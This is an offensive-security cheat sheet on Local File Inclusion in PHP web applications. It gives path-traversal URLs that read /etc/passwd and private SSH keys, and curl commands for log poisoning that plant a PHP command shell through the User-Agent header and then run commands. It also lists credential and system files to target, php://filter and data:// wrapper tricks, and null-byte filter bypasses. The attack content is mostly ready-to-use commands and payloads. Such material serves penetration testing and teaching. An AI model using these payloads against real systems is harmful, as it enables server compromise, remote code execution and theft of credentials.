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Local File Inclusion

To test for LFI what we need is a parameter on any URL or other inputs, i.e. request body which includes a file. A parameter in the URL can look like https://test.com/?file=robots.txt, the file may be changed.

Acunetix article

PHP Functions

Functions provoking an LFI

include()
require()
include_once ()
require_once()

Usage

Exploit URL parameter by including other files.

http://example.com/home?page=about.html
http://example.com/home?page=/etc/passwd

* changed to path traversal, with [interesting files](https://github.com/cyberheartmi9/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal#basic-lfi-null-byte-double-encoding-and-other-tricks)
```
http://example.com/home?page=../../../../etc/passwd
```
or
```
http://example.com/home?page=html/../../../home/<username>/.ssh/id_rsa
```

Log Poisoning

Inject malicious code into logfiles before using path traversal to open the logfile and trigger the rce.
www-data needs read & write permisson in order to do so.
Include php code into the User-Agent header of the HTTP request. For example a GET parameter to deliver system commandsas follows

curl 'http://<TARGETIP>/lfi/lfi.php?page=/var/log/apache2/access.log' -H 'Host: <TARGETIP>' -H 'User-Agent: Mozilla/5.0 <?php system($_GET['lfi']); ?> Firefox/70.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'DNT: 1' -H 'Upgrade-Insecure-Requests: 1'

Follow up with a request to

curl 'http://<TARGETIP>/lfi/lfi.php?page=/var/log/apache2/access.log&lfi=ls%20../'

/proc/self/fd

outpost24
Log poisoning and opening logfile via /proc/self/fd/xx.

Files of Interest

/etc/issue
/etc/profile
/proc/version
/etc/passwd
/etc/apache2/.htpasswd
/etc/shadow
/etc/group
/etc/motd
/etc/mysql/my.cnf
/root/.bash_history
/var/log/dmessage
/var/mail/root
/root/.ssh/id_rsa
/var/log/apache2/access.log
C:\boot.ini
/proc/self/fd/xx
/proc/version
/proc/cmdline
/proc/[0-9]*/fd/[0-9]*
sess_<cookieValue> if the location of the session file is known. Some paths are

c:\Windows\Temp
/tmp/
/var/lib/php5
/var/lib/php/session

Base64 Encoding via PHP

Circumvent filter via encoding local files included ins a GET parameter value
Read PHP files through encoding them, so they won't be executed

curl http://test.com/test.php?view=php://filter/convert.base64-encode/resource=<fileOnServer>.php
curl http://test.com/test.php?file=php://filter/read=string.rot13/resource=/etc/passwd

Use encoded data as input through the parameter

curl http://test.com/test.php?file=data://text/plain;base64,dGhlIGFuc3dlciBpcyA0Mgo=

Tricks

Terminate query with %00 or 0x00 does the trick until PHP 5.3.4
Terminate query with /.
..//..//..//file, double slashes
URL encode path

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